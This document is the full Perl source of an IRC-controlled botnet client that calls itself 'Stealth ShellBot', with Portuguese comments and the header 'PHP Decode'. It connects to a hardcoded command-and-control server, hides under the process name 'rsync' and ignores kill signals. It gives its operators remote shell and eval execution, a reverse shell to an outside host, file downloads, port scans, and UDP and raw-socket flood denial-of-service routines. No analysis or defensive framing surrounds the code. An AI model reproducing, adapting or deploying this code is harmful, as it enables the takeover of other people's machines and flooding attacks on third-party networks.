PHP Decode

<?  #!/usr/bin/perl 
#          - Adicionado comando !estatisticas ; 
#          - Alterado o comando @pacota para @oldpack; 
#          - Adicionado dois novos pacotadores: @udp    e @udpfaixa   ; 
#          - Adicionado um novo portscan -> @fullportscan   ; 
#          - Adicionado comando @conback   com suporte para Windows/Unix :D; 
#          - Adicionado comando: !sair para finalizar o bot; 
#          - Adicionado comando: !novonick para trocar o nick do bot por um novo aleatorio; 
#          - Adicionado comando !entra   e !sai  ; 
#          - Adicionado comando @download  ; 
#          - Adicionado comando !pacotes  para ativar/desativar pacotes :); 
 
########## CONFIGURACAO ############ 
my $processo = 'rsync'; 
 
$servidor='sez.strangled.net' unless $servidor; 
my $porta='6665'; 
my @canais=("#007"); 
my @adms=("A","X"); 
my @auth=("localhost"); 
 
# Anti Flood ( 6/3 Recomendado ) 
my $linas_max=6; 
my $sleep=3; 
 
my $nick = getnick(); 
my $ircname = getnick(); 
my $realname = (`uname -a`); 
 
my $acessoshell = 1; 
######## Stealth ShellBot ########## 
my $prefixo = "! "; 
my $estatisticas = 0; 
my $pacotes = 1; 
#################################### 
 
my $VERSAO = '0.2a'; 
 
$SIG{'INT'} = 'IGNORE'; 
$SIG{'HUP'} = 'IGNORE'; 
$SIG{'TERM'} = 'IGNORE'; 
$SIG{'CHLD'} = 'IGNORE'; 
$SIG{'PS'} = 'IGNORE'; 
 
use IO::Socket; 
use Socket; 
use IO::Select; 
chdir("/"); 
$servidor="$ARGV[0]" if $ARGV[0]; 
$0="$processo".""; 
my $pid=fork; 
exit if $pid; 
die "Problema com o fork: $!" unless defined($pid); 
 
my %irc_servers; 
my %DCC; 
my $dcc_sel = new IO::Select->new(); 
 
##################### 
# Stealth Shellbot  # 
##################### 
 
 
 
sub getnick { 
  #my $retornonick = &_get("http://websurvey.burstmedia.com/names.txt"); 
  #return $retornonick; 
  return "x".int(rand(9000)); 
} 
 
 
sub getident { 
  my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php"); 
  my $identchance = int(rand(1000)); 
  if ($identchance > 30) { 
     return $nick; 
  } else { 
     return $retornoident; 
  } 
  return $retornoident; 
} 
 
sub getname { 
  my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php"); 
  return $retornoname; 
} 
 
# IDENT TEMPORARIA - Pegar ident da url ta bugando o_o 
sub getident2 { 
        my $length=shift; 
        $length = 3 if ($length < 3); 
 
        my @chars=('a'..'z','A'..'Z','1'..'9'); 
        foreach (1..$length) 
        { 
                $randomstring.=$chars[rand @chars]; 
        } 
        return $randomstring; 
} 
 
sub getstore ($$) 
{ 
  my $url = shift; 
  my $file = shift; 
 
  $http_stream_out = 1; 
  open(GET_OUTFILE, "> $file"); 
  %http_loop_check = (); 
  _get($url); 
  close GET_OUTFILE; 
  return $main::http_get_result; 
} 
 
sub _get 
{ 
  my $url = shift; 
  my $proxy = ""; 
  grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV; 
  if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) { 
    my $host = $1; 
    my $port = $2 || 80; 
    my $path = $3; 
    $path = "/" unless defined($path); 
    return _trivial_http_get($host, $port, $path); 
  } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) { 
    my $host = $1; 
    my $port = $2; 
    my $path = $url; 
    return _trivial_http_get($host, $port, $path); 
  } else { 
    return undef; 
  } 
} 
 
 
sub _trivial_http_get 
{ 
  my($host, $port, $path) = @_; 
  my($AGENT, $VERSION, $p); 
  #print "HOST=$host, PORT=$port, PATH=$path
"; 
 
  $AGENT = "get-minimal"; 
  $VERSION = "20000118"; 
 
  $path =~ s/ /%20/g; 
 
  require IO::Socket; 
  local($^W) = 0; 
  my $sock = IO::Socket::INET->new(PeerAddr => $host, 
                                   PeerPort => $port, 
                                   Proto   => 'tcp', 
                                   Timeout  => 60) || return; 
  $sock->autoflush; 
  my $netloc = $host; 
  $netloc .= ":$port" if $port != 80; 
  my $request = "GET $path HTTP/1.0
" 
              . "Host: $netloc
" 
              . "User-Agent: $AGENT/$VERSION/u
"; 
  $request .= "Pragma: no-cache
" if ($main::http_no_cache); 
  $request .= "
"; 
  print $sock $request; 
 
  my $buf = ""; 
  my $n; 
  my $b1 = ""; 
  while ($n = sysread($sock, $buf, 8*1024, length($buf))) { 
    if ($b1 eq "") { # first block? 
      $b1 = $buf;         # Save this for errorcode parsing 
      $buf =~ s/.+?
?

?
//s;      # zap header 
    } 
    if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; } 
  } 
  return undef unless defined($n); 
 
  $main::http_get_result = 200; 
  if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^
]*
,) { 
    $main::http_get_result = $1; 
    # print "CODE=$main::http_get_result
$b1
"; 
    if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /
Location:\s*(\S+)/ 
) { 
      # redirect 
      my $url = $1; 
      return undef if $http_loop_check{$url}++; 
      return _get($url); 
    } 
    return undef unless $main::http_get_result =~ /^2/; 
  } 
 
  return $buf; 
} 
 
############################# 
#  B0tchZ na veia ehehe :P  # 
############################# 
 
$sel_cliente = IO::Select->new(); 
sub sendraw { 
  if ($#_ == '1') { 
    my $socket = $_[0]; 
    print $socket "$_[1]
"; 
  } else { 
      print $IRC_cur_socket "$_[0]
"; 
  } 
} 
 
sub conectar { 
   my $meunick = $_[0]; 
   my $servidor_con = $_[1]; 
   my $porta_con = $_[2]; 
 
   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); 
   if (defined($IRC_socket)) { 
     $IRC_cur_socket = $IRC_socket; 
 
     $IRC_socket->autoflush(1); 
     $sel_cliente->add($IRC_socket); 
 
     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; 
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; 
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; 
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; 
     nick("$meunick"); 
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); 
     sleep 2; 
   } 
 
} 
my $line_temp; 
while( 1 ) { 
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } 
   delete($irc_servers{''}) if (defined($irc_servers{''})); 
   &DCC::connections; 
   my @ready = $sel_cliente->can_read(0.6); 
   next unless(@ready); 
   foreach $fh (@ready) { 
     $IRC_cur_socket = $fh; 
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; 
     $nread = sysread($fh, $msg, 4096); 
     if ($nread == 0) { 
        $sel_cliente->remove($fh); 
        $fh->close; 
        delete($irc_servers{$fh}); 
     } 
     @lines = split (/
/, $msg); 
 
     for(my $c=0; $c<= $#lines; $c++) { 
       $line = $lines[$c]; 
       $line=$line_temp.$line if ($line_temp); 
       $line_temp=''; 
       $line =~ s/
$//; 
       unless ($c == $#lines) { 
         parse("$line"); 
       } else { 
           if ($#lines == 0) { 
             parse("$line"); 
           } elsif ($lines[$c] =~ /
$/) { 
               parse("$line"); 
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { 
               parse("$line"); 
           } else { 
               $line_temp = $line; 
           } 
       } 
      } 
   } 
} 
 
sub parse { 
   my $servarg = shift; 
   if ($servarg =~ /^PING \:(.*)/) { 
     sendraw("PONG :$1"); 
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { 
       my $pn=$1; my $onde = $4; my $args = $5; 
       if ($args =~ /^VERSION$/) { 
         notice("$pn", "VERSION mIRC v6.16 ENE ALIN GABRIEL"); 
       } 
       elsif ($args =~ /^PING\s+(\d+)$/) { 
         notice("$pn", "PONG"); 
       } 
       elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) { 
         if ($onde eq "$meunick"){ 
           shell("$pn", "$args"); 
           } 
         elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) { 
            my $natrix = $1; 
            my $arg = $2; 
            if ($arg =~ /^\!(.*)/) { 
              ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/); 
            } elsif ($arg =~ /^\@(.*)/) { 
                $ondep = $onde; 
                $ondep = $pn if $onde eq $meunick; 
                bfunc("$ondep","$1"); 
            } else { 
                shell("$onde", "$arg"); 
            } 
         } 
       } 
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { 
       if (lc($1) eq lc($meunick)) { 
         $meunick=$4; 
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; 
       } 
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { 
       $meunick = getnick(); 
       nick("$meunick"); 
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { 
       $meunick = $2; 
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; 
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; 
       foreach my $canal (@canais) { 
         sendraw("JOIN $canal"); 
       } 
   } 
} 
 
sub bfunc { 
  my $printl = $_[0]; 
  my $funcarg = $_[1]; 
  if (my $pid = fork) { 
     waitpid($pid, 0); 
  } else { 
      if (fork) { 
         exit; 
       } else { 
           if ($funcarg =~ /^portscan (.*)/) { 
             my $hostip="$1"; 
             my @portas=("21","22","23","25","53","80","110","143","6665"); 
             my (@aberta, %porta_banner); 
             foreach my $porta (@portas)  { 
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4); 
                if ($scansock) { 
                   push (@aberta, $porta); 
                   $scansock->close; 
                } 
             } 
             if (@aberta) { 
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta"); 
             } else { 
                 sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada."); 
             } 
           } 
 
           elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) { 
            getstore("$1", "$2"); 
            sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas); 
            } 
 
           elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) { 
             my $hostname="$1"; 
             my $portainicial = "$2"; 
             my $portafinal = "$3"; 
             my (@abertas, %porta_banner); 
             foreach my $porta ($portainicial..$portafinal) 
             { 
               my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4); 
               if ($scansock) { 
                 push (@abertas, $porta); 
                 $scansock->close; 
                 if ($estatisticas) { 
                   sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname"); 
                 } 
               } 
             } 
             if (@abertas) { 
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas"); 
             } else { 
               sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada."); 
             } 
            } 
 
            # Duas Vers.es simplificada do meu Tr0x ;D 
            elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) { 
              return unless $pacotes; 
              socket(Tr0x, PF_INET, SOCK_DGRAM, 17); 
              my $alvo=inet_aton("$1"); 
              my $porta = "$2"; 
              my $tempo = "$3"; 
              my $pacote; 
              my $pacotese; 
              my $fim = time + $tempo; 
              my $pacota = 1; 
              while (($pacota == "1") && ($pacotes == "1")) { 
                $pacota = 0 if ((time >= $fim) && ($tempo != "0")); 
                $pacote=$rand x $rand x $rand; 
                $porta = int(rand 65000) +1 if ($porta == "0"); 
                send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1"); 
              } 
              if ($estatisticas) 
              { 
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Tempo de Pacotes: $tempo"."s"); 
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Total de Pacotes: $pacotese"); 
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Alvo dos Pacotes: $1"); 
              } 
            } 
 
            elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) { 
              return unless $pacotes; 
              socket(Tr0x, PF_INET, SOCK_DGRAM, 17); 
              my $faixaip="$1"; 
              my $porta = "$2"; 
              my $tempo = "$3"; 
              my $pacote; 
              my $pacotes; 
              my $fim = time + $tempo; 
              my $pacota = 1; 
              my $alvo; 
              while ($pacota == "1") { 
                $pacota = 0 if ((time >= $fim) && ($tempo != "0")); 
                for (my $faixa = 1; $faixa <= 255; $faixa++) { 
                  $alvo = inet_aton("$faixaip.$faixa"); 
                  $pacote=$rand x $rand x $rand; 
                  $porta = int(rand 65000) +1 if ($porta == "0"); 
                  send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1"); 
                  if ($faixa >= 255) { 
                    $faixa = 1; 
                  } 
                } 
              } 
              if ($estatisticas) 
              { 
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Tempo de Pacotes: $tempo"."s"); 
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Total de Pacotes: $pacotese"); 
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Alvo dos Pacotes: $alvo"); 
              } 
            } 
 
            # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p 
            elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) { 
              my $host = "$1"; 
              my $porta = "$2"; 
              my $proto = getprotobyname('tcp'); 
              my $iaddr = inet_aton($host); 
              my $paddr = sockaddr_in($porta, $iaddr); 
              my $shell = "/bin/sh -i"; 
              if ($^O eq "MSWin32") { 
                $shell = "cmd.exe"; 
              } 
              socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; 
              connect(SOCKET, $paddr) or die "connect: $!"; 
              open(STDIN, ">&SOCKET"); 
              open(STDOUT, ">&SOCKET"); 
              open(STDERR, ">&SOCKET"); 
              system("$shell"); 
              close(STDIN); 
              close(STDOUT); 
              close(STDERR); 
 
              if ($estatisticas) 
              { 
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Conectando-se em: $host:$porta"); 
              } 
            } 
 
           elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) { 
            return unless $pacotes; 
             my ($dtime, %pacotes) = attacker("$1", "$2", "$3"); 
             $dtime = 1 if $dtime == 0; 
             my %bytes; 
             $bytes{igmp} = $2 * $pacotes{igmp}; 
             $bytes{icmp} = $2 * $pacotes{icmp}; 
             $bytes{o} = $2 * $pacotes{o}; 
             $bytes{udp} = $2 * $pacotes{udp}; 
             $bytes{tcp} = $2 * $pacotes{tcp}; 
             unless ($estatisticas) 
             { 
               sendraw($IRC_cur_socket, "PRIVMSG $printl : - Status -"); 
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Timp: $dtime"."secunde."); 
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Total packet: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o})); 
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Total bytes: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o})); 
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Flood: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps"); 
             } 
           } 
           exit; 
       } 
  } 
} 
 
sub ircase { 
  my ($kem, $printl, $case) = @_; 
 
   if ($case =~ /^join (.*)/) { 
     j("$1"); 
   } 
   elsif ($case =~ /^part (.*)/) { 
      p("$1"); 
   } 
   elsif ($case =~ /^rejoin\s+(.*)/) { 
      my $chan = $1; 
      if ($chan =~ /^(\d+) (.*)/) { 
        for (my $ca = 1; $ca <= $1; $ca++ ) { 
          p("$2"); 
          j("$2"); 
        } 
      } else { 
          p("$chan"); 
          j("$chan"); 
      } 
   } 
   elsif ($case =~ /^op/) { 
      op("$printl", "$kem") if $case eq "op"; 
      my $oarg = substr($case, 3); 
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); 
   } 
   elsif ($case =~ /^deop/) { 
      deop("$printl", "$kem") if $case eq "deop"; 
      my $oarg = substr($case, 5); 
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); 
   } 
   elsif ($case =~ /^voice/) { 
      voice("$printl", "$kem") if $case eq "voice"; 
      $oarg = substr($case, 6); 
      voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); 
   } 
   elsif ($case =~ /^devoice/) { 
      devoice("$printl", "$kem") if $case eq "devoice"; 
      $oarg = substr($case, 8); 
      devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); 
   } 
   elsif ($case =~ /^msg\s+(\S+) (.*)/) { 
      msg("$1", "$2"); 
   } 
   elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { 
      for (my $cf = 1; $cf <= $1; $cf++) { 
        msg("$2", "$3"); 
      } 
   } 
   elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { 
      for (my $cf = 1; $cf <= $1; $cf++) { 
        ctcp("$2", "$3"); 
      } 
   } 
   elsif ($case =~ /^ctcp\s+(\S+) (.*)/) { 
      ctcp("$1", "$2"); 
   } 
   elsif ($case =~ /^invite\s+(\S+) (.*)/) { 
      invite("$1", "$2"); 
   } 
   elsif ($case =~ /^nick (.*)/) { 
      nick("$1"); 
   } 
   elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) { 
       conectar("$2", "$1", 6667); 
   } 
   elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) { 
      DCC::SEND("$1", "$2"); 
   } 
   elsif ($case =~ /^raw (.*)/) { 
      sendraw("$1"); 
   } 
   elsif ($case =~ /^eval (.*)/) { 
      eval "$1"; 
   } 
   elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) { 
    sleep int(rand($2)); 
    j("$1"); 
   } 
   elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) { 
    sleep int(rand($2)); 
    p("$1"); 
   } 
   elsif ($case =~ /^sair/) { 
     quit(); 
   } 
   elsif ($case =~ /^novonick/) { 
    my $novonick = getnick(); 
     nick("$novonick"); 
   } 
   elsif ($case =~ /^estatisticas (.*)/) { 
     if ($1 eq "on") { 
      $estatisticas = 1; 
      msg("$printl", "Estat.sticas ativadas!"); 
     } elsif ($1 eq "off") { 
      $estatisticas = 0; 
      msg("$printl", "Estat.sticas desativadas!"); 
     } 
   } 
   elsif ($case =~ /^pacotes (.*)/) { 
     if ($1 eq "on") { 
      $pacotes = 1; 
      msg("$printl", "Pacotes ativados!") if ($estatisticas == "1"); 
     } elsif ($1 eq "off") { 
      $pacotes = 0; 
      msg("$printl", "Pacotes desativados!") if ($estatisticas == "1"); 
     } 
   } 
} 
sub shell { 
  return unless $acessoshell; 
  my $printl=$_[0]; 
  my $comando=$_[1]; 
  if ($comando =~ /cd (.*)/) { 
    chdir("$1") || msg("$printl", "Diret.rio inexistente!"); 
    return; 
  } 
  elsif ($pid = fork) { 
     waitpid($pid, 0); 
  } else { 
      if (fork) { 
         exit; 
       } else { 
           my @resp=`$comando 2>&1 3>&1`; 
           my $c=0; 
           foreach my $linha (@resp) { 
             $c++; 
             chop $linha; 
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); 
             if ($c >= "$linas_max") { 
               $c=0; 
               sleep $sleep; 
             } 
           } 
           exit; 
       } 
  } 
} 
 
#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki 
sub attacker { 
  my $iaddr = inet_aton($_[0]); 
  my $msg = 'B' x $_[1]; 
  my $ftime = $_[2]; 
  my $cp = 0; 
  my (%pacotes); 
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; 
 
  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; 
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; 
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; 
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; 
  return(undef) if $cp == 4; 
  my $itime = time; 
  my ($cur_time); 
  while ( 1 ) { 
     for (my $porta = 1; $porta <= 65535; $porta++) { 
       $cur_time = time - $itime; 
       last if $cur_time >= $ftime; 
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1); 
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1); 
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1); 
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1); 
 
       # DoS ?? :P 
       for (my $pc = 3; $pc <= 255;$pc++) { 
         next if $pc == 6; 
         $cur_time = time - $itime; 
         last if $cur_time >= $ftime; 
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; 
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1); 
       } 
     } 
     last if $cur_time >= $ftime; 
  } 
  return($cur_time, %pacotes); 
} 
 
############# 
#  ALIASES  # 
############# 
 
sub action { 
   return unless $#_ == 1; 
   sendraw("PRIVMSG $_[0] :ACTION $_[1]"); 
} 
 
sub ctcp { 
   return unless $#_ == 1; 
   sendraw("PRIVMSG $_[0] :$_[1]"); 
} 
sub msg { 
   return unless $#_ == 1; 
   sendraw("PRIVMSG $_[0] :$_[1]"); 
} 
 
sub notice { 
   return unless $#_ == 1; 
   sendraw("NOTICE $_[0] :$_[1]"); 
} 
 
sub op { 
   return unless $#_ == 1; 
   sendraw("MODE $_[0] +o $_[1]"); 
} 
sub deop { 
   return unless $#_ == 1; 
   sendraw("MODE $_[0] -o $_[1]"); 
} 
sub hop { 
    return unless $#_ == 1; 
   sendraw("MODE $_[0] +h $_[1]"); 
} 
sub dehop { 
   return unless $#_ == 1; 
   sendraw("MODE $_[0] +h $_[1]"); 
} 
sub voice { 
   return unless $#_ == 1; 
   sendraw("MODE $_[0] +v $_[1]"); 
} 
sub devoice { 
   return unless $#_ == 1; 
   sendraw("MODE $_[0] -v $_[1]"); 
} 
sub ban { 
   return unless $#_ == 1; 
   sendraw("MODE $_[0] +b $_[1]"); 
} 
sub unban { 
   return unless $#_ == 1; 
   sendraw("MODE $_[0] -b $_[1]"); 
} 
sub kick { 
   return unless $#_ == 1; 
   sendraw("KICK $_[0] $_[1] :$_[2]"); 
} 
 
sub modo { 
   return unless $#_ == 0; 
   sendraw("MODE $_[0] $_[1]"); 
} 
sub mode { modo(@_); } 
 
sub j { &join(@_); } 
sub join { 
   return unless $#_ == 0; 
   sendraw("JOIN $_[0]"); 
} 
sub p { part(@_); } 
sub part {sendraw("PART $_[0]");} 
 
sub nick { 
  return unless $#_ == 0; 
  sendraw("NICK $_[0]"); 
} 
 
sub invite { 
   return unless $#_ == 1; 
   sendraw("INVITE $_[1] $_[0]"); 
} 
sub topico { 
   return unless $#_ == 1; 
   sendraw("TOPIC $_[0] $_[1]"); 
} 
sub topic { topico(@_); } 
 
sub whois { 
  return unless $#_ == 0; 
  sendraw("WHOIS $_[0]"); 
} 
sub who { 
  return unless $#_ == 0; 
  sendraw("WHO $_[0]"); 
} 
sub names { 
  return unless $#_ == 0; 
  sendraw("NAMES $_[0]"); 
} 
sub away { 
  sendraw("AWAY $_[0]"); 
} 
sub back { away(); } 
sub quit { 
  sendraw("QUIT :$_[0]"); 
  exit; 
} 
 
# DCC 
package DCC; 
 
sub connections { 
   my @ready = $dcc_sel->can_read(1); 
#   return unless (@ready); 
   foreach my $fh (@ready) { 
     my $dcctipo = $DCC{$fh}{tipo}; 
     my $arquivo = $DCC{$fh}{arquivo}; 
     my $bytes = $DCC{$fh}{bytes}; 
     my $cur_byte = $DCC{$fh}{curbyte}; 
     my $nick = $DCC{$fh}{nick}; 
 
     my $msg; 
     my $nread = sysread($fh, $msg, 10240); 
 
     if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) { 
        $DCC{$fh}{status} = "Cancelado"; 
        $DCC{$fh}{ftime} = time; 
        $dcc_sel->remove($fh); 
        $fh->close; 
        next; 
     } 
 
     if ($dcctipo eq "get") { 
        $DCC{$fh}{curbyte} += length($msg); 
 
        my $cur_byte = $DCC{$fh}{curbyte}; 
 
        open(FILE, ">> $arquivo"); 
        print FILE "$msg" if ($cur_byte <= $bytes); 
        close(FILE); 
 
        my $packbyte = pack("N", $cur_byte); 
        print $fh "$packbyte"; 
 
        if ($bytes == $cur_byte) { 
           $dcc_sel->remove($fh); 
           $fh->close; 
           $DCC{$fh}{status} = "Recebido"; 
           $DCC{$fh}{ftime} = time; 
           next; 
        } 
     } elsif ($dcctipo eq "send") { 
          my $send = $fh->accept; 
          $send->autoflush(1); 
          $dcc_sel->add($send); 
          $dcc_sel->remove($fh); 
          $DCC{$send}{tipo} = 'sendcon'; 
          $DCC{$send}{itime} = time; 
          $DCC{$send}{nick} = $nick; 
          $DCC{$send}{bytes} = $bytes; 
          $DCC{$send}{curbyte} = 0; 
          $DCC{$send}{arquivo} = $arquivo; 
          $DCC{$send}{ip} = $send->peerhost; 
          $DCC{$send}{porta} = $send->peerport; 
          $DCC{$send}{status} = "Enviando"; 
 
          #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon 
          open(FILE, "< $arquivo"); 
          my $fbytes; 
          read(FILE, $fbytes, 1024); 
          print $send "$fbytes"; 
          close FILE; 
#          delete($DCC{$fh}); 
     } elsif ($dcctipo eq 'sendcon') { 
          my $bytes_sended = unpack("N", $msg); 
          $DCC{$fh}{curbyte} = $bytes_sended; 
          if ($bytes_sended == $bytes) { 
             $fh->close; 
             $dcc_sel->remove($fh); 
             $DCC{$fh}{status} = "Enviado"; 
             $DCC{$fh}{ftime} = time; 
             next; 
          } 
          open(SENDFILE, "< $arquivo"); 
          seek(SENDFILE, $bytes_sended, 0); 
          my $send_bytes; 
          read(SENDFILE, $send_bytes, 1024); 
          print $fh "$send_bytes"; 
          close(SENDFILE); 
     } 
   } 
} 
 
 
sub SEND { 
  my ($nick, $arquivo) = @_; 
  unless (-r "$arquivo") { 
    return(0); 
  } 
 
  my $dccark = $arquivo; 
  $dccark =~ s/[.*\/](\S+)/$1/; 
 
  my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'}; 
  my $longip = unpack("N",inet_aton($meuip)); 
 
  my @filestat = stat($arquivo); 
  my $size_total=$filestat[7]; 
  if ($size_total == 0) { 
     return(0); 
  } 
 
  my ($porta, $sendsock); 
  do { 
    $porta = int rand(64511); 
    $porta += 1024; 
    $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock); 
  } until $sendsock; 
 
  $DCC{$sendsock}{tipo} = 'send'; 
  $DCC{$sendsock}{nick} = $nick; 
  $DCC{$sendsock}{bytes} = $size_total; 
  $DCC{$sendsock}{arquivo} = $arquivo; 
 
 
  &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total"); 
 
} 
 
sub GET { 
  my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_; 
  return(0) if (-e "$arquivo"); 
  if (open(FILE, "> $arquivo")) { 
     close FILE; 
  } else { 
    return(0); 
  } 
 
  my $dccip=fixaddr($dcclongip); 
  return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1); 
  my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0); 
  $dccsock->autoflush(1); 
  $dcc_sel->add($dccsock); 
  $DCC{$dccsock}{tipo} = 'get'; 
  $DCC{$dccsock}{itime} = time; 
  $DCC{$dccsock}{nick} = $nick; 
  $DCC{$dccsock}{bytes} = $bytes; 
  $DCC{$dccsock}{curbyte} = 0; 
  $DCC{$dccsock}{arquivo} = $arquivo; 
  $DCC{$dccsock}{ip} = $dccip; 
  $DCC{$dccsock}{porta} = $dccporta; 
  $DCC{$dccsock}{status} = "Recebendo"; 
} 
 
# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas 
sub Status { 
  my $socket = shift; 
  my $sock_tipo = $DCC{$socket}{tipo}; 
  unless (lc($sock_tipo) eq "chat") { 
    my $nick = $DCC{$socket}{nick}; 
    my $arquivo = $DCC{$socket}{arquivo}; 
    my $itime = $DCC{$socket}{itime}; 
    my $ftime = time; 
    my $status = $DCC{$socket}{status}; 
    $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime}); 
 
    my $d_time = $ftime-$itime; 
 
    my $cur_byte = $DCC{$socket}{curbyte}; 
    my $bytes_total =  $DCC{$socket}{bytes}; 
 
    my $rate = 0; 
    $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0; 
    my $porcen = ($cur_byte*100)/$bytes_total; 
 
    my ($r_duv, $p_duv); 
    if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) { 
       $r_duv = $3; $r_duv++ if $4 >= 5; 
       $rate = "$1\.$2"."$r_duv"; 
    } 
    if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) { 
       $p_duv = $3; $p_duv++ if $4 >= 5; 
       $porcen = "$1\.$2"."$p_duv"; 
    } 
    return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen"); 
  } 
 
 
  return(0); 
} 
 
 
